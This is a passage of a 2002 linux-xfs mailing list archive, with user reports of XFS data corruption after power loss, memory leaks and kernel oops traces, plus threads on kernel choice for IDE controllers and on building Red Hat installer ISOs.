Admin/Architect cell: 347-451-8229 Security Services, Web, Mail, mailto:george@galis.org Multimedia, DB, DNS and Metrics. http://www.galis.org/george From owner-linux-xfs@oss.sgi.com Wed Nov 20 10:53:37 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 20 Nov 2002 10:53:41 -0800 (PST) Received: from hell.ascs.muni.cz (hell.ascs.muni.cz [147.251.60.186]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAKIq1uR019332 for linux-xfs@oss.sgi.com; Wed, 20 Nov 2002 10:52:48 -0800 Date: Wed, 20 Nov 2002 10:52:01 -0800 From: xhejtman@mail.muni.cz Message-Id: <200211201852.gAKIq1uR019332@oss.sgi.com> Subject: XFS data corruption X-archive-position: 1811 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: xhejtman@mail.muni.cz Precedence: bulk X-list: linux-xfs Hello, I have kernel 2.4.19 and xfs version SGI XFS snapshot 2.4.19-2002-09-27_04:22_UTC with no debug enabled When I power is unplugged then I see NULLs in some files. Yes I've read FAQ that it is normal since data were not written. But why this happen on files that contained some data and at the time of powerfailure system just wanted to write something else into that files? Why I do not see previous or parly modified state of this files? -- Lukas Hejtmanek From owner-linux-xfs@oss.sgi.com Wed Nov 20 14:32:04 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 20 Nov 2002 14:32:07 -0800 (PST) Received: from ahriman.bucharest.roedu.net (ahriman.Bucharest.roedu.net [141.85.128.71]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAKMW2uR021733 for ; Wed, 20 Nov 2002 14:32:03 -0800 Received: (qmail 28302 invoked by uid 1000); 20 Nov 2002 22:51:19 -0000 Received: from localhost (sendmail-bs@127.0.0.1) by localhost with SMTP; 20 Nov 2002 22:51:19 -0000 Date: Thu, 21 Nov 2002 00:51:19 +0200 (EET) From: Mihai RUSU X-X-Sender: To: Linux XFS List Subject: 1.2(Pre) / current CVS vs 1.1 features Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 1812 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: dizzy@roedu.net Precedence: bulk X-list: linux-xfs Hi I want to know what improvements are in 1.2pre (or current CVS) versus 1.1. release ? I mean if the unlink() are faster ? If yes should I use the version 2 log ? What other improvements are using version 2 log ? Or if using version 1 log would the new XFS code be faster ? On which operations ? PS: there was a email pointing a possible "mem-leak" in the current XFS. I can confirm that, using 20 concurrent bonnie++ (the "many files" test) the system consumes more and more RAM and after using it all it becomes unusable Thanks ---------------------------- Mihai RUSU Disclaimer: Any views or opinions presented within this e-mail are solely those of the author and do not necessarily represent those of any company, unless otherwise specifically stated. From owner-linux-xfs@oss.sgi.com Wed Nov 20 15:47:46 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 20 Nov 2002 15:47:50 -0800 (PST) Received: from hell.ascs.muni.cz (hell.ascs.muni.cz [147.251.60.186]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAKNljuR023653 for ; Wed, 20 Nov 2002 15:47:45 -0800 Received: from xhejtman by hell.ascs.muni.cz with local (Exim 3.36 #1 (Debian)) id 18EebQ-0001nI-00 for ; Thu, 21 Nov 2002 00:49:52 +0100 Date: Thu, 21 Nov 2002 00:49:52 +0100 From: Lukas Hejtmanek To: linux-xfs@oss.sgi.com Subject: mail server is not working? Message-ID: <20021120234952.GL3360@mail.muni.cz> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-2 Content-Disposition: inline Content-Transfer-Encoding: 8bit User-Agent: Mutt/1.4i X-Muni: zakazka, vydelek, firma, komerce, vyplata X-echelon: NSA, CIA, CI5, MI5, FBI, KGB, BIS, Plutonium, Bin Laden, Mossad, Iraq, Pentagon, WTC, president, assassination, A-bomb, kua, vic joudu uz neznam X-policie-CR: Neserte mi nebo ukradnu, vyloupim, vybouchnu, znasilnim, zabiju, podpalim, umucim, podriznu, zapichnu a vubec vsechno X-archive-position: 1813 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: xhejtman@hell.ascs.muni.cz Precedence: bulk X-list: linux-xfs Hello, my MTA cannot sent mail into this mailing list, checking why :-( -- Luká¹ Hejtmánek From owner-linux-xfs@oss.sgi.com Thu Nov 21 02:26:48 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 21 Nov 2002 02:26:53 -0800 (PST) Received: from moving-picture.com (mpc-26.sohonet.co.uk [193.203.82.251]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gALAQluR030471 for ; Thu, 21 Nov 2002 02:26:47 -0800 Received: from sid.mpc.local ([172.16.20.7] helo=moving-picture.com) by moving-picture.com with esmtp (Exim 3.22 #1) id 18EoZp-0004be-00 for linux-xfs@oss.sgi.com; Thu, 21 Nov 2002 10:28:53 +0000 Message-ID: <3DDCB565.E43C2F7D@moving-picture.com> Date: Thu, 21 Nov 2002 10:28:53 +0000 From: James Pearson Organization: Moving Picture Company X-Mailer: Mozilla 4.7 [en] (X11; I; IRIX 6.5 IP22) X-Accept-Language: en MIME-Version: 1.0 To: linux-xfs@oss.sgi.com Subject: XFS1.2pre3 kernel oops Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Disclaimer: This email and any attachments are confidential, may be legally X-Disclaimer: privileged and intended solely for the use of addressee. If you X-Disclaimer: are not the intended recipient of this message, any disclosure, X-Disclaimer: copying, distribution or any action taken in reliance on it is X-Disclaimer: strictly prohibited and may be unlawful. If you have received X-Disclaimer: this message in error, please notify the sender and delete all X-Disclaimer: copies from your system. X-Disclaimer: X-Disclaimer: Email may be susceptible to data corruption, interception and X-Disclaimer: unauthorised amendment, and we do not accept liability for any X-Disclaimer: such corruption, interception or amendment or the consequences X-Disclaimer: thereof. X-archive-position: 1814 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: james-p@moving-picture.com Precedence: bulk X-list: linux-xfs I installed XFS1.2pre3 on one server (Dual PIII) about a 10 days ago - since then I've had a number of what look like different oops - see below. Are these XFS related? Or should I be looking elsewhere? Thanks James Pearson === Nov 17 12:12:50 zorn kernel: Unable to handle kernel paging request at virtual address 7fff8007 Nov 17 12:12:50 zorn kernel: c01d0fc6 Nov 17 12:12:50 zorn kernel: *pde = 00000000 Nov 17 12:12:50 zorn kernel: Oops: 0000 Nov 17 12:12:50 zorn kernel: CPU: 0 Nov 17 12:12:50 zorn kernel: EIP: 0010:[linvfs_put_inode+22/48] Not tainted Nov 17 12:12:50 zorn kernel: EIP: 0010:[] Not tainted Using defaults from ksymoops -t elf32-i386 -a i386 Nov 17 12:12:50 zorn kernel: EFLAGS: 00010246 Nov 17 12:12:50 zorn kernel: eax: 00000000 ebx: d20b3140 ecx: d20b3150 edx: 7fff7fff Nov 17 12:12:50 zorn kernel: esi: f7885800 edi: c02d3280 ebp: 000075e5 esp: f7edff04 Nov 17 12:12:50 zorn kernel: ds: 0018 es: 0018 ss: 0018 Nov 17 12:12:50 zorn kernel: Process kswapd (pid: 5, stackpage=f7edf000) Nov 17 12:12:50 zorn kernel: Stack: c0153985 d20b3140 c0332700 00007876 00000000 e13d1420 cef81d38 cef81d20 Nov 17 12:12:50 zorn kernel: d20b3140 c0151439 d20b3140 c0135d1f 00000000 f7ede000 ffffffff 000001d0 Nov 17 12:12:50 zorn kernel: c02cf628 f7ede000 00000000 0000001c 000001d0 00000006 00000006 c01517b0 Nov 17 12:12:50 zorn kernel: Call Trace: [iput+69/608] [prune_dcache+217/352] [shrink_cache+799/944] [shrink_dcache_memory+32/48] [shrink_caches+103/144] Nov 17 12:12:50 zorn kernel: Call Trace: [] [] [] [] [] Nov 17 12:12:50 zorn kernel: [] [] [] [] [] [] Nov 17 12:12:50 zorn kernel: [] [] Nov 17 12:12:50 zorn kernel: Code: 8b 42 08 52 ff 90 8c 00 00 00 58 c3 8d b4 26 00 00 00 00 8d >>EIP; c01d0fc6 <===== Trace; c0153985 Trace; c0151439 Trace; c0135d1f Trace; c01517b0 Trace; c0135f27 Trace; c0135f8c Trace; c0136031 Trace; c01360a6 Trace; c01361e1 Trace; c0136140 Trace; c0105000 <_stext+0/0> Trace; c0107296 Trace; c0136140 Code; c01d0fc6 00000000 <_EIP>: Code; c01d0fc6 <===== 0: 8b 42 08 mov 0x8(%edx),%eax <===== Code; c01d0fc9 3: 52 push %edx Code; c01d0fca 4: ff 90 8c 00 00 00 call *0x8c(%eax) Code; c01d0fd0 a: 58 pop %eax Code; c01d0fd1 b: c3 ret Code; c01d0fd2 c: 8d b4 26 00 00 00 00 lea 0x0(%esi,1),%esi Code; c01d0fd9 13: 8d 00 lea (%eax),%eax === Nov 20 16:38:42 zorn kernel: Unable to handle kernel NULL pointer dereference at virtual address 0000001f Nov 20 16:38:42 zorn kernel: f8995c60 Nov 20 16:38:42 zorn kernel: *pde = 00000000 Nov 20 16:38:42 zorn kernel: Oops: 0000 Nov 20 16:38:42 zorn kernel: CPU: 0 Nov 20 16:38:42 zorn kernel: EIP: 0010:[] Not tainted Nov 20 16:38:42 zorn kernel: EFLAGS: 00010283 Nov 20 16:38:42 zorn kernel: eax: ffffffff ebx: f726fd44 ecx: 0000000d edx: f20ab720 Nov 20 16:38:42 zorn kernel: esi: f20a9f40 edi: f728f000 ebp: f726fd54 esp: f726fcf8 Nov 20 16:38:42 zorn kernel: ds: 0018 es: 0018 ss: 0018 Nov 20 16:38:42 zorn kernel: Process nfsd (pid: 1044, stackpage=f726f000) Nov 20 16:38:42 zorn kernel: Stack: f726fd00 f20ab720 0000000d f20a9f40 f72710a8 f728f000 f726fd44 f899f8d0 Nov 20 16:38:42 zorn kernel: f726fd44 f728f000 f20a9f40 f7278c04 f728f000 f72710a8 0000032d 00000001 Nov 20 16:38:42 zorn kernel: 00000000 00000000 00000001 0000000c 00000001 11000800 00000080 00000000 Nov 20 16:38:42 zorn kernel: Call Trace: [] [linvfs_readdir+395/496] [] [vfs_readdir+132/208] [] Nov 20 16:38:42 zorn kernel: Call Trace: [] [] [] [] [] Nov 20 16:38:42 zorn kernel: [] [] [] [do_softirq+123/224] [] [] Nov 20 16:38:42 zorn kernel: [] [] [] [] [] [] Nov 20 16:38:42 zorn kernel: [] [] [] [] [] [] Nov 20 16:38:42 zorn kernel: [] [kernel_thread+38/48] [] Nov 20 16:38:42 zorn kernel: [] [] [] Nov 20 16:38:42 zorn kernel: Code: 8b 40 20 8b 78 44 85 ff 74 36 0f b7 42 32 31 c9 25 00 f0 00 >>EIP; f8995c60 <[nfsd]fh_compose+200/2f0> <===== Trace; f899f8d0 <[nfsd]encode_entry+1a0/270> Trace; f899f8d0 <[nfsd]encode_entry+1a0/270> Trace; c01ca78b Trace; f899f9d0 <[nfsd]nfs3svc_encode_entry_plus+0/30> Trace; c014cc14 Trace; f899f9d0 <[nfsd]nfs3svc_encode_entry_plus+0/30> Trace; f899f9d0 <[nfsd]nfs3svc_encode_entry_plus+0/30> Trace; f89989b7 <[nfsd]nfsd_readdir+a7/1a0> Trace; f899f9d0 <[nfsd]nfs3svc_encode_entry_plus+0/30> Trace; f899f9d0 <[nfsd]nfs3svc_encode_entry_plus+0/30> Trace; f89989b7 <[nfsd]nfsd_readdir+a7/1a0> Trace; f899f9d0 <[nfsd]nfs3svc_encode_entry_plus+0/30> Trace; c0120b2b Trace; f899d1fd <[nfsd]nfsd3_proc_readdirplus+10d/140> Trace; f899f9d0 <[nfsd]nfs3svc_encode_entry_plus+0/30> Trace; f89a31c0 <[nfsd]nfsd_procedures3+220/2c0> Trace; f89935a7 <[nfsd]nfsd_dispatch+b7/17b> Trace; f89a31c0 <[nfsd]nfsd_procedures3+220/2c0> Trace; f897bda3 <[sunrpc]svc_process+333/4e8> Trace; f89a2978 <[nfsd]nfsd_version3+0/10> Trace; f89a2998 <[nfsd]nfsd_program+0/18> Trace; f89933ab <[nfsd]nfsd+20b/350> Trace; f89933ab <[nfsd]nfsd+20b/350> Trace; c0107296 Trace; f89931a0 <[nfsd]nfsd+0/350> Code; f8995c60 <[nfsd]fh_compose+200/2f0> 00000000 <_EIP>: Code; f8995c60 <[nfsd]fh_compose+200/2f0> <===== 0: 8b 40 20 mov 0x20(%eax),%eax <===== Code; f8995c63 <[nfsd]fh_compose+203/2f0> 3: 8b 78 44 mov 0x44(%eax),%edi Code; f8995c66 <[nfsd]fh_compose+206/2f0> 6: 85 ff test %edi,%edi Code; f8995c68 <[nfsd]fh_compose+208/2f0> 8: 74 36 je 40 <_EIP+0x40> f8995ca0 <[nfsd]fh_compose+240/2f0> Code; f8995c6a <[nfsd]fh_compose+20a/2f0> a: 0f b7 42 32 movzwl 0x32(%edx),%eax Code; f8995c6e <[nfsd]fh_compose+20e/2f0> e: 31 c9 xor %ecx,%ecx Code; f8995c70 <[nfsd]fh_compose+210/2f0> 10: 25 00 f0 00 00 and $0xf000,%eax === Nov 20 18:32:53 zorn kernel: Unable to handle kernel NULL pointer dereference at virtual address 00000033 Nov 20 18:32:53 zorn kernel: f8809660 Nov 20 18:32:53 zorn kernel: *pde = 00000000 Nov 20 18:32:53 zorn kernel: Oops: 0000 Nov 20 18:32:53 zorn kernel: CPU: 1 Nov 20 18:32:53 zorn kernel: EIP: 0010:[ians:__insmod_ians_O/lib/modules/2.4.19-xfs-pre3/kernel/drivers/+-1333664/96] Not tainted Nov 20 18:32:53 zorn kernel: EIP: 0010:[] Not tainted Nov 20 18:32:53 zorn kernel: EFLAGS: 00010286 Nov 20 18:32:53 zorn kernel: eax: 00001000 ebx: c03ab000 ecx: 00000019 edx: ffffffff Nov 20 18:32:53 zorn kernel: esi: f786f200 edi: c03ab1f4 ebp: 00000000 esp: f7edff4c Nov 20 18:32:53 zorn kernel: ds: 0018 es: 0018 ss: 0018 Nov 20 18:32:53 zorn kernel: Process kswapd (pid: 5, stackpage=f7edf000) Nov 20 18:32:53 zorn kernel: Stack: 00000000 00000000 00000000 f788cf80 f788cf80 f786f200 f788cfd4 f786f30c Nov 20 18:32:53 zorn kernel: f881a980 f88089ef f786f200 f881a980 f7e59660 f788fe00 00000000 00000282 Nov 20 18:32:53 zorn kernel: f7edffac ffffffff 0008e000 c01f2e4b f788fe18 f7edffac c0120fcd f788fe18 Nov 20 18:32:53 zorn kernel: Call Trace: [ians:__insmod_ians_O/lib/modules/2.4.19-xfs-pre3/kernel/drivers/+-1263232/96] [ians:__insmod_ians_O/lib/modules/2.4.19-xfs-pre3/kernel/drivers/+-1336849/96] [ians:__insmod_ians_O/lib/modules/2.4.19-xfs-pre3/kernel/drivers/+-1263232/96] [generic_unplug_device+43/64] [__run_task_queue+93/112] Nov 20 18:32:53 zorn kernel: Call Trace: [] [] [] [] [] Nov 20 18:32:53 zorn kernel: [] [] [] [] [] Nov 20 18:32:53 zorn kernel: Code: 8b 42 34 83 c7 14 41 c7 47 f0 00 00 00 00 89 47 ec 0f b7 42 >>EIP; f8809660 <[scsi_mod]scsi_deregister_blocked_host+ad0/1590> <===== Trace; f881a980 <[sd_mod].data.start+0/9f> Trace; f88089ef <[scsi_mod]scsi_io_completion+70f/830> Trace; f881a980 <[sd_mod].data.start+0/9f> Trace; c01f2e4b Trace; c0120fcd <__run_task_queue+5d/70> Trace; c01361f7 Trace; c0136140 Trace; c0105000 <_stext+0/0> Trace; c0107296 Trace; c0136140 Code; f8809660 <[scsi_mod]scsi_deregister_blocked_host+ad0/1590> 00000000 <_EIP>: Code; f8809660 <[scsi_mod]scsi_deregister_blocked_host+ad0/1590> <===== 0: 8b 42 34 mov 0x34(%edx),%eax <===== Code; f8809663 <[scsi_mod]scsi_deregister_blocked_host+ad3/1590> 3: 83 c7 14 add $0x14,%edi Code; f8809666 <[scsi_mod]scsi_deregister_blocked_host+ad6/1590> 6: 41 inc %ecx Code; f8809667 <[scsi_mod]scsi_deregister_blocked_host+ad7/1590> 7: c7 47 f0 00 00 00 00 movl $0x0,0xfffffff0(%edi) Code; f880966e <[scsi_mod]scsi_deregister_blocked_host+ade/1590> e: 89 47 ec mov %eax,0xffffffec(%edi) Code; f8809671 <[scsi_mod]scsi_deregister_blocked_host+ae1/1590> 11: 0f b7 42 00 movzwl 0x0(%edx),%eax From owner-linux-xfs@oss.sgi.com Thu Nov 21 02:31:11 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 21 Nov 2002 02:31:14 -0800 (PST) Received: from hotmail.com (f142.law12.hotmail.com [64.4.19.142]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gALAVBuR030860 for ; Thu, 21 Nov 2002 02:31:11 -0800 Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Thu, 21 Nov 2002 02:33:18 -0800 Received: from 212.185.252.194 by lw12fd.law12.hotmail.msn.com with HTTP; Thu, 21 Nov 2002 10:33:18 GMT X-Originating-IP: [212.185.252.194] From: "Karl Ran" To: linux-xfs@oss.sgi.com Subject: Choosing the right kernel for XFS Date: Thu, 21 Nov 2002 10:33:18 +0000 Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 21 Nov 2002 10:33:18.0829 (UTC) FILETIME=[684CA9D0:01C29149] X-archive-position: 1815 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: karlran@hotmail.com Precedence: bulk X-list: linux-xfs Hi, I've been using 2.4.18 and xfs for some months now - it works great! Now I'd like to use the second onboard IDE controller now. It's a Promise ULTRA133 PDC20276 (on a P4B533E). The problem: 2.4.18 has no support for the PDC20276. 2.4.19 has no support for DMA on first IDE controller(Intel ICH4). 2.4.19-ac1 works for both IDE controllers but is not supported by XFS :( What should I do? Thanks, Karl _________________________________________________________________ Protect your PC - get McAfee.com VirusScan Online http://clinic.mcafee.com/clinic/ibuy/campaign.asp?cid=3963 From owner-linux-xfs@oss.sgi.com Thu Nov 21 04:47:39 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 21 Nov 2002 04:47:41 -0800 (PST) Received: from mx-01-bsl.sauter-bc.com (mx-01-bsl.sauter-bc.com [213.173.165.132]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gALClSuR001838 for ; Thu, 21 Nov 2002 04:47:29 -0800 Received: from tempmail.sauter-bc.com (tempmail [10.1.6.25]) by mx-01-bsl.sauter-bc.com (Postfix) with ESMTP id 8D4C3AC53; Thu, 21 Nov 2002 13:14:08 +0100 (CET) Received: from ssba-bsl.cad.sba (ssba-bsl.cad.sba [10.1.6.20]) by tempmail.sauter-bc.com (Postfix) with ESMTP id 5B0AE190CF; Thu, 21 Nov 2002 13:13:51 +0100 (CET) Received: from ch.sauter-bc.com (sup.cad.sba [10.1.200.117]) by ssba-bsl.cad.sba (Postfix) with ESMTP id 987B430881D; Thu, 21 Nov 2002 13:21:23 +0100 (CET) Message-ID: <3DDCCFC3.9B5AD54B@ch.sauter-bc.com> Date: Thu, 21 Nov 2002 13:21:23 +0100 From: Simon Matter Organization: Sauter AG, Basel X-Mailer: Mozilla 4.77 [de] (X11; U; Linux 2.2.22-6.2.2 i686) X-Accept-Language: de-CH MIME-Version: 1.0 To: Karl Ran Cc: linux-xfs@oss.sgi.com Subject: Re: Choosing the right kernel for XFS References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 1816 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: simon.matter@ch.sauter-bc.com Precedence: bulk X-list: linux-xfs Karl Ran schrieb: > > Hi, > I've been using 2.4.18 and xfs for some months now - it works great! > > Now I'd like to use the second onboard IDE controller now. > It's a Promise ULTRA133 PDC20276 (on a P4B533E). > > The problem: > 2.4.18 has no support for the PDC20276. > 2.4.19 has no support for DMA on first IDE controller(Intel ICH4). > 2.4.19-ac1 works for both IDE controllers but is not supported by XFS :( > > What should I do? The RedHat kernels are what you want. Even if not using RedHat, you should be able to use them. Simon > > Thanks, > Karl > > _________________________________________________________________ > Protect your PC - get McAfee.com VirusScan Online > http://clinic.mcafee.com/clinic/ibuy/campaign.asp?cid=3963 From owner-linux-xfs@oss.sgi.com Thu Nov 21 06:51:30 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 21 Nov 2002 06:51:36 -0800 (PST) Received: from K-7.stesmi.com (IDENT:HVAYBx2nBF+CHXvxIyoypXfFTiE6yHdm@as4-1-7.has.s.bonet.se [217.215.31.238]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gALEpTuR003913 for ; Thu, 21 Nov 2002 06:51:30 -0800 Received: from stesmi.com (IDENT:rN6HCfVb3SfwV5Fa8d7LjqoCZ4thXR1C@as4-1-7.has.s.bonet.se [217.215.31.238]) by K-7.stesmi.com (8.12.4/8.12.4) with ESMTP id gALEn36B013154 for ; Thu, 21 Nov 2002 15:49:04 +0100 Message-ID: <3DDCF25F.30404@stesmi.com> Date: Thu, 21 Nov 2002 15:49:03 +0100 From: Stefan Smietanowski User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.9) Gecko/20020513 X-Accept-Language: en-us, en MIME-Version: 1.0 To: linux-xfs@oss.sgi.com Subject: How do you do the packaging of the installer ISO? Content-Type: text/plain; charset=ISO-8859-15; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 1817 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: stesmi@stesmi.com Precedence: bulk X-list: linux-xfs Hi! This is slightly off topic but I thought I'd ask where to read up on how RedHat makes their installer images. What tools should one use, etc? I've searched a bit myself but the only resource I found covered the RH6.1 release (Or was it 6.2...) and things have changed since then. For instance there's a commment there that says "If the package isn't on THIS CD it's on the other." Now that there are more CDs than that, how does the installer know that a certain package is on CD 3 for instance? I've looked at the various files in the RedHat/base directory and I am uncertain about a few things. For instance - what is the comps.xml file used for ? Only dependencies? And the two hdlist files, hdlist and hdlist2. Is the smaller one all packages on this CD? And the bigger one all packages on all CDs? If so, why is the hdlist2 file on the XFS CD smaller than the one on the RedHat CD1 ? Can someone give me a link on information or just a hint on what tools to use? I would be grateful for any help on the matter. Thanx! // Stefan From owner-linux-xfs@oss.sgi.com Thu Nov 21 07:15:12 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 21 Nov 2002 07:15:15 -0800 (PST) Received: from dynamic.galis.org (ool-4350143e.dyn.optonline.net [67.80.20.62]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gALFFCuR004937 for ; Thu, 21 Nov 2002 07:15:12 -0800 Received: (qmail 15278 invoked by uid 1010); 21 Nov 2002 15:19:07 -0000 Date: Thu, 21 Nov 2002 10:19:07 -0500 From: George Georgalis To: Stefan Smietanowski Cc: linux-xfs@oss.sgi.com Subject: Re: How do you do the packaging of the installer ISO? Message-ID: <20021121151907.GA15076@trot.local> References: <3DDCF25F.30404@stesmi.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <3DDCF25F.30404@stesmi.com> User-Agent: Mutt/1.3.28i X-archive-position: 1818 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: georgw@galis.org Precedence: bulk X-list: linux-xfs On Thu, Nov 21, 2002 at 03:49:03PM +0100, Stefan Smietanowski wrote: >Hi! > >This is slightly off topic but I thought I'd ask where to read up on how >RedHat makes their installer images. > >What tools should one use, etc? There are some options in this package to accommodate maintaining your own/updated rh distro. Their low volume list has quick answers too and could prob help in this regard. http://www.mat.univie.ac.at/~gerald/ftp/autoupdate/general.html // George -- GEORGE GEORGALIS, System Admin/Architect cell: 347-451-8229 Security Services, Web, Mail, mailto:george@galis.org Multimedia, DB, DNS and Metrics. http://www.galis.org/george From owner-linux-xfs@oss.sgi.com Thu Nov 21 07:19:26 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 21 Nov 2002 07:19:28 -0800 (PST) Received: from swathi.krithika.net ([202.88.158.15]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gALFJNuR005361 for ; Thu, 21 Nov 2002 07:19:25 -0800 Received: from localhost.krithika.net (localhost.krithika.net [127.0.0.1]) by swathi.krithika.net (Postfix) with ESMTP id 8356A1D9C3; Thu, 21 Nov 2002 20:51:32 +0530 (IST) Subject: Re: How do you do the packaging of the installer ISO? From: Ajay Ramaswamy To: George Georgalis Cc: Stefan Smietanowski , linux-xfs@oss.sgi.com In-Reply-To: <20021121151907.GA15076@trot.local> References: <3DDCF25F.30404@stesmi.com> <20021121151907.GA15076@trot.local> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 (1.0.8-10) Date: 21 Nov 2002 20:51:32 +0530 Message-Id: <1037892092.3329.1.camel@swathi.krithika.net> Mime-Version: 1.0 X-archive-position: 1819 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: ajayr@krithika.net Precedence: bulk X-list: linux-xfs On Thu, 2002-11-21 at 20:49, George Georgalis wrote: > On Thu, Nov 21, 2002 at 03:49:03PM +0100, Stefan Smietanowski wrote: > >Hi! > > > >This is slightly off topic but I thought I'd ask where to read up on how > >RedHat makes their installer images. > > > >What tools should one use, etc? > > There are some options in this package to accommodate maintaining your > own/updated rh distro. Their low volume list has quick answers too and > could prob help in this regard. > > http://www.mat.univie.ac.at/~gerald/ftp/autoupdate/general.html > > // George > I have found the following sites useful http://www.linuxworks.com.au/redhat-installer-howto.html http://www.personam.it/luigi/redhat-cd-howto/ http://rhlinux.redhat.com/anaconda/ regards Ajay From owner-linux-xfs@oss.sgi.com Thu Nov 21 07:45:22 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 21 Nov 2002 07:45:26 -0800 (PST) Received: from K-7.stesmi.com (IDENT:RRFfX/YPWQh5WvKbUPiYVAchCFWdtOPm@as4-1-7.has.s.bonet.se [217.215.31.238]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gALFjKuR006311 for ; Thu, 21 Nov 2002 07:45:21 -0800 Received: from stesmi.com (IDENT:PucVnSIsyDTk1Cw0gSAsEXqTEaeKZAFH@as4-1-7.has.s.bonet.se [217.215.31.238]) by K-7.stesmi.com (8.12.4/8.12.4) with ESMTP id gALFgo6B016743; Thu, 21 Nov 2002 16:42:51 +0100 Message-ID: <3DDCFEFA.7050900@stesmi.com> Date: Thu, 21 Nov 2002 16:42:50 +0100 From: Stefan Smietanowski User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.9) Gecko/20020513 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Ajay Ramaswamy CC: George Georgalis , linux-xfs@oss.sgi.com Subject: Re: How do you do the packaging of the installer ISO? References: <3DDCF25F.30404@stesmi.com> <20021121151907.GA15076@trot.local> <1037892092.3329.1.camel@swathi.krithika.net> Content-Type: text/plain; charset=ISO-8859-15; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 1820 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: stesmi@stesmi.com Precedence: bulk X-list: linux-xfs >>>This is slightly off topic but I thought I'd ask where to read up on how >>>RedHat makes their installer images. >>> >>>What tools should one use, etc? >> >>There are some options in this package to accommodate maintaining your >>own/updated rh distro. Their low volume list has quick answers too and >>could prob help in this regard. >> >>http://www.mat.univie.ac.at/~gerald/ftp/autoupdate/general.html > > I have found the following sites useful > http://www.linuxworks.com.au/redhat-installer-howto.html > http://www.personam.it/luigi/redhat-cd-howto/ > http://rhlinux.redhat.com/anaconda/ Thanx to both of you. This answered my questions. Hopefully I'll have my XFS-enabled RH8 DVD up and running soon :) // Stefan From owner-linux-xfs@oss.sgi.com Thu Nov 21 07:48:44 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 21 Nov 2002 07:48:46 -0800 (PST) Received: from zok.sgi.com (zok.SGI.COM [204.94.215.101]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gALFmiuR006761 for ; Thu, 21 Nov 2002 07:48:44 -0800 Received: from ledzep.americas.sgi.com (ledzep.americas.sgi.com [192.48.203.134]) by zok.sgi.com (8.12.2/8.12.2/linux-outbound_gateway-1.2) with ESMTP id gALEscKp026563 for ; Thu, 21 Nov 2002 06:54:38 -0800 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by ledzep.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id JAA52864 for ; Thu, 21 Nov 2002 09:50:43 -0600 (CST) Received: from taclab54.munich.sgi.com (taclab54.munich.sgi.com [144.253.195.54]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id JAA51075 for ; Thu, 21 Nov 2002 09:50:50 -0600 (CST) Received: (from hch@localhost) by taclab54.munich.sgi.com (8.11.6/8.11.6) id gALN5CZ02841 for linux-xfs@oss.sgi.com; Thu, 21 Nov 2002 18:05:12 -0500 Resent-Message-Id: <200211212305.gALN5CZ02841@taclab54.munich.sgi.com> Received: from nodin.corp.sgi.com (nodin.corp.sgi.com [192.26.51.193]) by 